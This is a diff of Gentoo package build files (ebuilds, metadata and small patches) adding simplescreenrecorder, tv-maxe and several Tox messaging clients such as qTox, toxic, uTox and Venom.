--- /dev/null
+++ b/media-video/simplescreenrecorder/simplescreenrecorder-0.2.1.ebuild
@@ -0,0 +1,99 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="5"
+
+inherit autotools multilib-minimal
+
+if [[ ${PV} = 9999 ]]; then
+ inherit git-2
+fi
+
+DESCRIPTION="A Simple Screen Recorder"
+HOMEPAGE="http://www.maartenbaert.be/simplescreenrecorder"
+LICENSE="GPL-3"
+PKGNAME="ssr"
+S=${WORKDIR}/${PKGNAME}-${PV}
+if [[ ${PV} = 9999 ]]; then
+ EGIT_REPO_URI="git://github.com/MaartenBaert/${PKGNAME}.git
+ https://github.com/MaartenBaert/${PKGNAME}.git"
+ EGIT_BOOTSTRAP="eautoreconf"
+ KEYWORDS="~amd64 ~x86"
+else
+ SRC_URI="https://github.com/MaartenBaert/${PKGNAME}/archive/${PV}.tar.gz"
+ KEYWORDS="amd64 x86"
+fi
+
+SLOT="0"
+IUSE="debug jack mp3 pulseaudio theora vorbis vpx x264"
+
+RDEPEND="
+ dev-qt/qtcore
+ dev-qt/qtgui
+ virtual/glu
+ media-libs/alsa-lib
+ media-libs/mesa
+ x11-libs/libX11
+ x11-libs/libXext
+ x11-libs/libXfixes
+ abi_x86_32? (
+ app-emulation/emul-linux-x86-opengl
+ app-emulation/emul-linux-x86-xlibs
+ )
+ jack? ( media-sound/jack-audio-connection-kit )
+ pulseaudio? ( media-sound/pulseaudio )
+ || (
+ media-video/ffmpeg[vorbis?,vpx?,x264?,mp3?,theora?]
+ media-video/libav[vorbis?,vpx?,x264?,mp3?,theora?]
+ )
+ "
+DEPEND="${RDEPEND}"
+
+pkg_setup() {
+ if [[ ${PV} == "9999" ]]; then
+ elog
+ elog "This ebuild merges the latest revision available from upstream's"
+ elog "git repository, and might fail to compile or work properly once"
+ elog "merged."
+ elog
+ fi
+
+ if [[ ${ABI} == amd64 ]]; then
+ elog "You may want to add USE flag 'abi_x86_32' when running a 64bit system"
+ elog "When added 32bit GLInject libraries are also included. This is"
+ elog "required if you want to use OpenGL recording on 32bit applications."
+ elog
+ fi
+
+ if ( has_version media-video/ffmpeg[x264] || has_version media-video/libav[x264] ) && has_version media-libs/x264[10bit]; then
+ ewarn
+ ewarn "media-libs/x264 is currently built with 10bit useflag."
+ ewarn "This is known to prevent simplescreenrecorder from recording x264 videos"
+ ewarn "correctly. Please build media-libs/x264 without 10bit if you want to "
+ ewarn "record videos with x264."
+ ewarn
+ fi
+}
+
+multilib_src_configure() {
+ local myconf=( --enable-dependency-tracking )
+
+ if multilib_build_binaries; then
+ myconf+=(
+ $(use_enable debug assert)
+ $(use_enable pulseaudio)
+ $(use_enable jack)
+ )
+ else
+ myconf+=(
+ --disable-assert
+ --disable-pulseaudio
+ --disable-jack
+ --disable-ssrprogram
+ )
+ fi
+
+ ECONF_SOURCE=${S} \
+ econf ${myconf[@]}
+}
diff --git a/media-video/simplescreenrecorder/simplescreenrecorder-9999.ebuild b/media-video/simplescreenrecorder/simplescreenrecorder-9999.ebuild
new file mode 100644
index 00000000..edae685a
--- /dev/null
+++ b/media-video/simplescreenrecorder/simplescreenrecorder-9999.ebuild
@@ -0,0 +1,95 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="5"
+
+inherit autotools multilib-minimal
+
+if [[ ${PV} = 9999 ]]; then
+ inherit git-2
+fi
+
+DESCRIPTION="A Simple Screen Recorder"
+HOMEPAGE="http://www.maartenbaert.be/simplescreenrecorder"
+LICENSE="GPL-3"
+PKGNAME="ssr"
+S=${WORKDIR}/${PKGNAME}-${PV}
+if [[ ${PV} = 9999 ]]; then
+ EGIT_REPO_URI="git://github.com/MaartenBaert/${PKGNAME}.git
+ https://github.com/MaartenBaert/${PKGNAME}.git"
+ EGIT_BOOTSTRAP=""
+ KEYWORDS=""
+else
+ SRC_URI="https://github.com/MaartenBaert/${PKGNAME}/archive/${PV}.tar.gz"
+ KEYWORDS="~amd64 ~x86"
+fi
+
+SLOT="0"
+IUSE="debug jack mp3 pulseaudio theora vorbis vpx x264"
+
+RDEPEND="
+ dev-qt/qtcore
+ dev-qt/qtgui
+ virtual/glu[${MULTILIB_USEDEP}]
+ media-libs/alsa-lib
+ media-libs/mesa[${MULTILIB_USEDEP}]
+ x11-libs/libX11[${MULTILIB_USEDEP}]
+ x11-libs/libXext
+ x11-libs/libXfixes[${MULTILIB_USEDEP}]
+ jack? ( media-sound/jack-audio-connection-kit )
+ pulseaudio? ( media-sound/pulseaudio )
+ || (
+ media-video/ffmpeg[vorbis?,vpx?,x264?,mp3?,theora?]
+ media-video/libav[vorbis?,vpx?,x264?,mp3?,theora?]
+ )
+ "
+DEPEND="${RDEPEND}"
+
+pkg_setup() {
+ if [[ ${PV} == "9999" ]]; then
+ elog
+ elog "This ebuild merges the latest revision available from upstream's"
+ elog "git repository, and might fail to compile or work properly once"
+ elog "merged."
+ elog
+ fi
+
+ if [[ ${ABI} == amd64 ]]; then
+ elog "You may want to add USE flag 'abi_x86_32' when running a 64bit system"
+ elog "When added 32bit GLInject libraries are also included. This is"
+ elog "required if you want to use OpenGL recording on 32bit applications."
+ elog
+ fi
+
+ if ( has_version media-video/ffmpeg[x264] || has_version media-video/libav[x264] ) && has_version media-libs/x264[10bit]; then
+ ewarn
+ ewarn "media-libs/x264 is currently built with 10bit useflag."
+ ewarn "This is known to prevent simplescreenrecorder from recording x264 videos"
+ ewarn "correctly. Please build media-libs/x264 without 10bit if you want to "
+ ewarn "record videos with x264."
+ ewarn
+ fi
+}
+
+multilib_src_configure() {
+ local myconf=( --enable-dependency-tracking )
+
+ if multilib_build_binaries; then
+ myconf+=(
+ $(use_enable debug assert)
+ $(use_enable pulseaudio)
+ $(use_enable jack)
+ )
+ else
+ myconf+=(
+ --disable-assert
+ --disable-pulseaudio
+ --disable-jack
+ --disable-ssrprogram
+ )
+ fi
+
+ ECONF_SOURCE=${S} \
+ econf ${myconf[@]}
+}
diff --git a/media-video/tv-maxe/files/tv-maxe-0.09-pillow-support.patch b/media-video/tv-maxe/files/tv-maxe-0.09-pillow-support.patch
new file mode 100644
index 00000000..b1a4acc2
--- /dev/null
+++ b/media-video/tv-maxe/files/tv-maxe-0.09-pillow-support.patch
@@ -0,0 +1,26 @@
+diff -Nur tv-maxe-0.09-orig/statusimage.py tv-maxe-0.09/statusimage.py
+--- tv-maxe-0.09-orig/statusimage.py 2012-07-03 22:26:03.000000000 +0300
++++ tv-maxe-0.09/statusimage.py 2013-10-19 14:57:28.089423913 +0300
+@@ -1,4 +1,7 @@
+-import gtk, gobject, StringIO, Image, ImageDraw, ImageFont, os, tempfile
++import gtk, gobject, StringIO, os, tempfile
++from PIL import Image
++from PIL import ImageDraw
++from PIL import ImageFont
+
+ class StatusImage:
+ def __init__(self):
+diff -Nur tv-maxe-0.09-orig/tvmaxe.py tv-maxe-0.09/tvmaxe.py
+--- tv-maxe-0.09-orig/tvmaxe.py 2013-03-24 00:08:17.000000000 +0200
++++ tv-maxe-0.09/tvmaxe.py 2013-10-19 14:56:46.927938502 +0300
+@@ -31,8 +31,9 @@
+ pygtk.require('2.0')
+ import gtk
+ import subprocess, threading, urllib2, workerpool, random, time, datetime, webbrowser, string, copy
+-import irwatch, which, sqlite3, re, json, base64, Image, StringIO
++import irwatch, which, sqlite3, re, json, base64, StringIO
+ import tools, keysim, scheduler, socketserver
++from PIL import Image
+ from settingsManager import settingsManager
+ from channel import Channel
+ from scheduler import Scheduler
diff --git a/media-video/tv-maxe/tv-maxe-0.09-r1.ebuild b/media-video/tv-maxe/tv-maxe-0.09-r1.ebuild
new file mode 100644
index 00000000..a5ea248e
--- /dev/null
+++ b/media-video/tv-maxe/tv-maxe-0.09-r1.ebuild
@@ -0,0 +1,51 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=3
+
+inherit eutils
+
+DESCRIPTION="Program to view free channels"
+HOMEPAGE="http://code.google.com/p/tv-maxe"
+SRC_URI="http://tv-maxe.googlecode.com/files/${PN}-${PV}.tar.gz"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="+sqlite"
+
+DEPEND="dev-lang/python[sqlite]"
+RDEPEND="dev-python/pillow
+ media-video/mplayer2
+ media-video/vlc
+ virtual/ffmpeg
+ dev-python/python-virtkey
+ dev-python/pygtk
+ dev-lang/python[sqlite]
+ media-tv/sp-auth
+ media-video/rtmpdump
+ dev-python/gst-python
+ media-libs/gst-plugins-good
+ media-plugins/gst-plugins-meta"
+DEPEND=""
+
+S="${WORKDIR}"
+
+src_prepare() {
+ sed -i "s|python|python2|g" ${S}/${PN}-${PV}/${PN} || die "Cannot sed file"
+ epatch -p0 "${FILESDIR}/tv-maxe-0.09-pillow-support.patch"
+}
+
+src_install() {
+ cd "${S}"
+ dodir /usr/share/${PN} || die
+ insinto /usr/share/${PN} || die
+ doins -r "${S}"/${PN}-${PV}/* || die
+ fperms 755 /usr/share/${PN}/${PN} || die "Errors on permission giving"
+ fperms 755 /usr/share/${PN} || die "Errors on permission folder giving"
+ dosym /usr/share/${PN}/${PN} /usr/bin/${PN} || die "Not too many symbolic links"
+ make_desktop_entry tv-maxe TV-maxe \
+ "/usr/share/tv-maxe/tvmaxe_mini.png" \
+ Video
+}
diff --git a/media-video/tv-maxe/tv-maxe-0.09.ebuild b/media-video/tv-maxe/tv-maxe-0.09.ebuild
index 08265748..e05037bf 100644
--- a/media-video/tv-maxe/tv-maxe-0.09.ebuild
+++ b/media-video/tv-maxe/tv-maxe-0.09.ebuild
@@ -13,8 +13,9 @@ SRC_URI="http://tv-maxe.googlecode.com/files/${PN}-${PV}.tar.gz"
LICENSE="GPL-3"
SLOT="0"
KEYWORDS="~amd64 ~x86"
-IUSE="sqlite"
+IUSE="+sqlite"
+DEPEND="dev-lang/python[sqlite]"
RDEPEND="dev-python/imaging
media-video/mplayer2
media-video/vlc
@@ -24,7 +25,6 @@ RDEPEND="dev-python/imaging
dev-lang/python[sqlite]
media-tv/sp-auth
media-video/rtmpdump
- sqlite? ( dev-python/sqlite3dbm )
dev-python/gst-python
media-libs/gst-plugins-good
media-plugins/gst-plugins-meta"
diff --git a/media-video/tv-maxe/tv-maxe-9999.ebuild b/media-video/tv-maxe/tv-maxe-9999.ebuild
new file mode 100644
index 00000000..f12aad2d
--- /dev/null
+++ b/media-video/tv-maxe/tv-maxe-9999.ebuild
@@ -0,0 +1,54 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=3
+
+inherit eutils git-2
+
+EGIT_BRANCH=master
+EGIT_REPO_URI="https://code.google.com/p/tv-maxe"
+
+
+DESCRIPTION="Program to view free channels"
+HOMEPAGE="http://code.google.com/p/tv-maxe"
+SRC_URI=""
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="+sqlite"
+
+DEPEND="dev-lang/python[sqlite]"
+RDEPEND="dev-python/pillow
+ media-video/mplayer2
+ media-video/vlc
+ virtual/ffmpeg
+ dev-python/python-virtkey
+ dev-python/pygtk
+ dev-lang/python[sqlite]
+ media-tv/sp-auth
+ media-video/rtmpdump
+ dev-python/gst-python
+ media-libs/gst-plugins-good
+ media-plugins/gst-plugins-meta"
+DEPEND=""
+
+S="${WORKDIR}"
+
+src_prepare() {
+ sed -i "s|python|python2|g" ${S}/${PN} || die "Cannot sed file"
+}
+
+src_install() {
+ cd "${S}"
+ dodir /usr/share/${PN} || die
+ insinto /usr/share/${PN} || die
+ doins -r "${S}"/* || die
+ fperms 755 /usr/share/${PN}/${PN} || die "Errors on permission giving"
+ fperms 755 /usr/share/${PN} || die "Errors on permission folder giving"
+ dosym /usr/share/${PN}/${PN} /usr/bin/${PN} || die "Not too many symbolic links"
+ make_desktop_entry tv-maxe TV-maxe \
+ "/usr/share/tv-maxe/tvmaxe_mini.png" \
+ Video
+}
diff --git a/net-im/blight/blight-9999.ebuild b/net-im/blight/blight-9999.ebuild
new file mode 100644
index 00000000..ce4a0b83
--- /dev/null
+++ b/net-im/blight/blight-9999.ebuild
@@ -0,0 +1,32 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+inherit git-2
+
+DESCRIPTION="Cross-platform graphical user interface for Tox written in Racket"
+HOMEPAGE="https://github.com/lehitoskin/blight"
+EGIT_REPO_URI="git://github.com/lehitoskin/blight
+ https://github.com/lehitoskin/blight"
+LICENSE="GPL-3"
+SLOT="0"
+
+RDEPEND="net-libs/tox
+ >=dev-db/sqlite-3.8.2
+ >=dev-scheme/racket-6.0.1[X]"
+
+src_prepare() {
+ raco pkg install --no-setup github://github.com/lehitoskin/libtoxcore-racket/master
+ epatch "$FILESDIR/${P}.patch"
+ epatch_user
+}
+
+src_compile() {
+ emake
+}
+
+src_install() {
+ emake DESTDIR="${D}/usr" install
+}
diff --git a/net-im/blight/files/blight-9999.patch b/net-im/blight/files/blight-9999.patch
new file mode 100644
index 00000000..e47640b1
--- /dev/null
+++ b/net-im/blight/files/blight-9999.patch
@@ -0,0 +1,12 @@
+diff -Naur a/config.rkt b/config.rkt
+--- a/config.rkt 2014-05-30 17:05:42.212974487 -0700
++++ b/config.rkt 2014-05-30 17:09:20.788966204 -0700
+@@ -26,7 +26,7 @@
+ ; location of sound directory (currently depends on running from same dir
+ ; change to /usr/share/blight/sounds (or something) once a proper
+ ; installer is to be had
+-(define sound-dir (build-path "sounds"))
++(define sound-dir (build-path "/usr/share/blight/sounds"))
+ ; list of sound files
+ (define sounds (list
+ (build-path sound-dir "New Message.wav")
diff --git a/net-im/blight/metadata.xml b/net-im/blight/metadata.xml
new file mode 100644
index 00000000..cc3fe249
--- /dev/null
+++ b/net-im/blight/metadata.xml
@@ -0,0 +1,7 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>maintainer-wanted@gentoo.org</email>
+ </maintainer>
+</pkgmetadata>
diff --git a/net-im/qtox/files/tox.svg b/net-im/qtox/files/tox.svg
new file mode 100644
index 00000000..71f12462
--- /dev/null
+++ b/net-im/qtox/files/tox.svg
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Generator: Adobe Illustrator 15.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->
+<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
+<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
+ width="90px" height="109px" viewBox="0 0 90 109" enable-background="new 0 0 90 109"
+ xml:space="preserve">
+<g>
+ <path d="M71.574,41.851c0-4.685,0.074-10.553-0.033-15.237c-0.047-2.018-0.268-4.076-0.746-6.034
+ C67.374,6.581,53.823-2.125,39.594,0.45C26.998,2.729,17.621,13.968,17.621,26.786v13.865v1.17c-0.475,0-0.794-0.001-1.116,0H5.023
+ C2.25,41.821,0,44.07,0,46.844v56.875c0,2.773,2.25,5.023,5.023,5.023h79.451c2.775,0,5.024-2.25,5.024-5.023V46.844
+ c0-2.774-2.249-5.023-5.024-5.023L71.574,41.851z M52.107,95.118H37.332c-2.322,0-4.203-1.914-4.203-4.274
+ c0-0.063,0.007-0.127,0.009-0.19c-0.005,0-0.006-1.021-0.008-2.041c-0.001-1.129,0.511-4.289,2.061-6.574
+ c1.641-2.418,3.855-3.99,6.257-4.697c-3.166-1.291-5.396-4.398-5.396-8.025c0-4.789,3.88-8.668,8.667-8.668
+ c4.789,0,8.667,3.879,8.667,8.668c0,3.719-2.344,6.891-5.637,8.12c2.332,0.753,4.537,2.313,6.273,4.707
+ c1.621,2.235,2.285,5.343,2.285,6.47v2.043c-0.006,0.062,0,0.125,0,0.189C56.308,93.204,54.427,95.118,52.107,95.118
+ M61.779,33.104c-1.562,4.611-4.52,8.305-7.61,11.912c-2.386,2.783-5.19,5.125-8.176,7.247c-0.144,0.103-0.298,0.188-0.685,0.427
+ c1.781-3.076,3.217-5.998,3.633-9.404c-4.234,1.002-8.227,0.564-12.093-1.14c-6.862-3.023-10.963-9.618-10.263-17.063
+ c0.573-6.127,3.94-10.543,9.321-13.395c8.667-4.593,19.734-1.655,24.689,6.516C63.482,22.962,63.527,27.945,61.779,33.104"/>
+</g>
+</svg>
diff --git a/net-im/qtox/metadata.xml b/net-im/qtox/metadata.xml
new file mode 100644
index 00000000..1ed9f4e7
--- /dev/null
+++ b/net-im/qtox/metadata.xml
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>simon-github@slevermann.de</email>
+ <name>Simon Levermann</name>
+ </maintainer>
+</pkgmetadata>
diff --git a/net-im/qtox/qtox-9999.ebuild b/net-im/qtox/qtox-9999.ebuild
new file mode 100644
index 00000000..0fc8ffaf
--- /dev/null
+++ b/net-im/qtox/qtox-9999.ebuild
@@ -0,0 +1,54 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+inherit eutils qmake-utils git-2
+
+DESCRIPTION="GUI for net-libs/tox using QT5 with code similarities to net-im/tox-gui-qt"
+HOMEPAGE="https://github.com/tux3/qtox"
+SRC_URI=""
+EGIT_REPO_URI="git://github.com/tux3/qtox.git"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS=""
+IUSE=""
+
+DEPEND="
+ dev-qt/qtconcurrent:5
+ dev-qt/qtcore:5
+ dev-qt/qtgui:5[gif,jpeg,png]
+ dev-qt/qtnetwork:5
+ dev-qt/qtopengl:5
+ dev-qt/qtxml:5
+ media-libs/openal
+ media-libs/opencv[-qt4,v4l]
+ net-libs/tox[av]"
+RDEPEND="${DEPEND}"
+
+pkg_pretend() {
+ if [[ ${MERGE_TYPE} != binary ]]; then
+ if [[ $(tc-getCXX) == *g++ ]] ; then
+ if [[ $(gcc-major-version) == 4 && $(gcc-minor-version) -lt 8 || $(gcc-major-version) -lt 4 ]] ; then
+ eerror "You need at least sys-devel/gcc-4.8.0"
+ die "You need at least sys-devel/gcc-4.8.0"
+ fi
+ fi
+ fi
+}
+
+src_prepare() {
+ epatch_user
+}
+
+src_configure() {
+ eqmake5
+}
+
+src_install() {
+ dobin "${S}/qtox"
+ doicon -s scalable "${FILESDIR}"/tox.svg
+ make_desktop_entry "qtox" "qTox" "/usr/share/icons/hicolor/scalable/apps/tox.svg" "Network"
+}
diff --git a/net-im/ratox/metadata.xml b/net-im/ratox/metadata.xml
new file mode 100644
index 00000000..5c89f13a
--- /dev/null
+++ b/net-im/ratox/metadata.xml
@@ -0,0 +1,7 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>urras@tox.im</email>
+ </maintainer>
+</pkgmetadata>
diff --git a/net-im/ratox/ratox-9999.ebuild b/net-im/ratox/ratox-9999.ebuild
new file mode 100644
index 00000000..2799f959
--- /dev/null
+++ b/net-im/ratox/ratox-9999.ebuild
@@ -0,0 +1,35 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+inherit git-2
+
+DESCRIPTION=" A minimal FIFO based client for Tox"
+HOMEPAGE="http://git.2f30.org/ratox"
+EGIT_REPO_URI="git://git.2f30.org/ratox
+ http://git.2f30.org/ratox"
+
+LICENSE="ISC"
+SLOT="0"
+IUSE=""
+
+RDEPEND="net-libs/tox[av]
+ media-libs/libv4l
+ media-libs/libvpx
+ media-libs/openal"
+DEPEND="${RDEPEND}
+ virtual/pkgconfig"
+
+src_prepare() {
+ epatch_user
+}
+
+src_compile() {
+ emake
+}
+
+src_install() {
+ emake DESTDIR="${D}" PREFIX="${EPREFIX}" install
+}
diff --git a/net-im/tox-gui-qt/metadata.xml b/net-im/tox-gui-qt/metadata.xml
new file mode 100644
index 00000000..cc3fe249
--- /dev/null
+++ b/net-im/tox-gui-qt/metadata.xml
@@ -0,0 +1,7 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>maintainer-wanted@gentoo.org</email>
+ </maintainer>
+</pkgmetadata>
diff --git a/net-im/tox-gui-qt/tox-gui-qt-9999.ebuild b/net-im/tox-gui-qt/tox-gui-qt-9999.ebuild
new file mode 100644
index 00000000..7672db15
--- /dev/null
+++ b/net-im/tox-gui-qt/tox-gui-qt-9999.ebuild
@@ -0,0 +1,37 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+inherit eutils qmake-utils git-2
+
+DESCRIPTION="GUI for net-libs/tox, using QT5"
+HOMEPAGE="https://github.com/nurupo/ProjectTox-Qt-GUI"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS=""
+IUSE=""
+
+#EGIT_STORE_DIR="${DISTDIR}/egit-src"
+EGIT_REPO_URI="git://github.com/nurupo/ProjectTox-Qt-GUI.git"
+EGIT_HAS_SUBMODULES=1
+
+DEPEND="dev-qt/qtcore:5
+ dev-qt/qtgui:5
+ dev-qt/qtwidgets:5
+ net-libs/tox"
+RDEPEND="${DEPEND}"
+
+src_prepare() {
+ epatch_user
+}
+
+src_configure() {
+ eqmake5 projectfiles/QtCreator/TOX-Qt-GUI.pro
+}
+
+src_install() {
+ dobin "${S}/TOX-Qt-GUI"
+}
diff --git a/net-im/tox-prpl/metadata.xml b/net-im/tox-prpl/metadata.xml
new file mode 100644
index 00000000..cc3fe249
--- /dev/null
+++ b/net-im/tox-prpl/metadata.xml
@@ -0,0 +1,7 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>maintainer-wanted@gentoo.org</email>
+ </maintainer>
+</pkgmetadata>
diff --git a/net-im/tox-prpl/tox-prpl-9999.ebuild b/net-im/tox-prpl/tox-prpl-9999.ebuild
new file mode 100644
index 00000000..b43ef6fc
--- /dev/null
+++ b/net-im/tox-prpl/tox-prpl-9999.ebuild
@@ -0,0 +1,39 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+inherit eutils autotools git-2
+
+DESCRIPTION="Tox plugin for Pidgin/libpurple"
+HOMEPAGE="http://tox.dhs.org/"
+SRC_URI=""
+EGIT_REPO_URI="https://github.com/jin-eld/tox-prpl.git"
+
+LICENSE="GPL-2+"
+SLOT="0"
+KEYWORDS=""
+IUSE=""
+
+RDEPEND="
+ dev-libs/glib:2
+ net-im/pidgin
+ net-libs/tox"
+DEPEND="${RDEPEND}
+ virtual/pkgconfig"
+
+src_prepare() {
+ epatch_user
+ eautoreconf
+}
+
+src_configure() {
+ econf \
+ --disable-static
+}
+
+src_install() {
+ default
+ prune_libtool_files --all
+}
diff --git a/net-im/toxic/metadata.xml b/net-im/toxic/metadata.xml
new file mode 100644
index 00000000..35db8749
--- /dev/null
+++ b/net-im/toxic/metadata.xml
@@ -0,0 +1,12 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>holgersson@posteo.de</email>
+ <name>holgersson</name>
+ </maintainer>
+ <use>
+ <flag name="libnotify">Enable desktop notification support.</flag>
+ <flag name="sound-notify">Adds support for sound notifications.</flag>
+ </use>
+</pkgmetadata>
diff --git a/net-im/toxic/toxic-9999.ebuild b/net-im/toxic/toxic-9999.ebuild
new file mode 100644
index 00000000..dbb19fd1
--- /dev/null
+++ b/net-im/toxic/toxic-9999.ebuild
@@ -0,0 +1,56 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+inherit autotools git-2 toolchain-funcs
+
+DESCRIPTION="CLI Frontend for Tox"
+HOMEPAGE="http://wiki.tox.im/Toxic"
+SRC_URI=""
+EGIT_REPO_URI="git://github.com/Tox/toxic
+ https://github.com/Tox/toxic"
+
+LICENSE="GPL-3"
+SLOT="0"
+IUSE="+libnotify +sound-notify"
+
+RDEPEND="
+ dev-libs/libconfig
+ net-libs/tox[av]
+ media-libs/openal
+ sys-libs/ncurses
+ x11-libs/libX11
+ libnotify? ( x11-libs/libnotify )
+ sound-notify? ( media-libs/freealut )"
+DEPEND="${RDEPEND}
+ app-text/asciidoc
+ virtual/pkgconfig"
+
+src_prepare() {
+ # verbose build
+ sed -i \
+ -e 's/@$(CC)/$(CC)/' \
+ build/Makefile || die
+ epatch_user
+}
+
+src_compile() {
+ use libnotify || export NOTIFY="DISABLE_DESKTOP_NOTIFY=1"
+ use sound-notify || export SOUND_NOTIFY="DISABLE_SOUND_NOTIFY=1"
+ emake \
+ CC="$(tc-getCC)" \
+ USER_CFLAGS="${CFLAGS}" \
+ USER_LDFLAGS="${LDFLAGS}" \
+ PREFIX="/usr" ${NOTIFY} ${SOUND_NOTIFY} \
+ -C build
+}
+
+src_install() {
+ emake install PREFIX="/usr" DESTDIR="${D}" -C build
+}
+
+pkg_postinst() {
+ elog "DHT node list is available in /usr/share/${PN}/DHTnodes"
+}
diff --git a/net-im/utox/metadata.xml b/net-im/utox/metadata.xml
new file mode 100644
index 00000000..cc3fe249
--- /dev/null
+++ b/net-im/utox/metadata.xml
@@ -0,0 +1,7 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>maintainer-wanted@gentoo.org</email>
+ </maintainer>
+</pkgmetadata>
diff --git a/net-im/utox/utox-9999.ebuild b/net-im/utox/utox-9999.ebuild
new file mode 100644
index 00000000..41676f8e
--- /dev/null
+++ b/net-im/utox/utox-9999.ebuild
@@ -0,0 +1,60 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+inherit fdo-mime gnome2-utils toolchain-funcs git-2
+
+DESCRIPTION="Lightweight Tox client"
+HOMEPAGE="https://github.com/notsecure/uTox.git"
+EGIT_REPO_URI="git://github.com/notsecure/uTox.git
+ https://github.com/notsecure/uTox.git"
+
+LICENSE="GPL-3"
+SLOT="0"
+IUSE="+dbus"
+
+RDEPEND="net-libs/tox[av]
+ media-libs/freetype
+ media-libs/libv4l
+ media-libs/libvpx
+ media-libs/openal
+ x11-libs/libX11
+ x11-libs/libXext
+ dbus? ( sys-apps/dbus )"
+DEPEND="${RDEPEND}
+ virtual/pkgconfig"
+
+src_prepare() {
+ epatch_user
+}
+
+src_configure() {
+ # respect CFLAGS
+ sed -i \
+ -e '/CFLAGS/s# -g ##' \
+ Makefile || die
+}
+
+src_compile() {
+ emake CC="$(tc-getCC)" DBUS=$(usex dbus "1" "0")
+}
+
+src_install() {
+ emake DESTDIR="${D}" PREFIX="/usr" install
+}
+
+pkg_preinst() {
+ gnome2_icon_savelist
+}
+
+pkg_postinst() {
+ fdo-mime_desktop_database_update
+ gnome2_icon_cache_update
+}
+
+pkg_postrm() {
+ fdo-mime_desktop_database_update
+ gnome2_icon_cache_update
+}
diff --git a/net-im/venom-av/metadata.xml b/net-im/venom-av/metadata.xml
new file mode 100644
index 00000000..bff8dc98
--- /dev/null
+++ b/net-im/venom-av/metadata.xml
@@ -0,0 +1,13 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>urras@tox.im</email>
+ <name>Urras</name>
+ </maintainer>
+ <use>
+ <flag name="libnotify">Enable desktop notification support</flag>
+ <flag name="qrcode">Enable qrencode support for ToxID </flag>
+ </use>
+</pkgmetadata>
+
diff --git a/net-im/venom-av/venom-av-9999.ebuild b/net-im/venom-av/venom-av-9999.ebuild
new file mode 100644
index 00000000..e8d00005
--- /dev/null
+++ b/net-im/venom-av/venom-av-9999.ebuild
@@ -0,0 +1,42 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+inherit cmake-utils git-r3 vala
+
+DESCRIPTION="Vala/Gtk+ graphical user interface for Tox with A/V support"
+
+HOMEPAGE="http://wiki.tox.im/Venom"
+EGIT_REPO_URI="https://github.com/naxuroqa/Venom.git"
+EGIT_BRANCH="av"
+
+LICENSE="GPL-3+"
+SLOT="0"
+KEYWORDS=""
+IUSE="+libnotify qrcode"
+
+DEPEND="dev-libs/json-glib
+ dev-db/sqlite:3
+ net-libs/tox[av]
+ media-libs/gstreamer
+ >=x11-libs/gtk+-3.4:3
+ $(vala_depend)
+ libnotify? ( x11-libs/libnotify )
+ qrcode? ( >=media-gfx/qrencode-3.3.1 )"
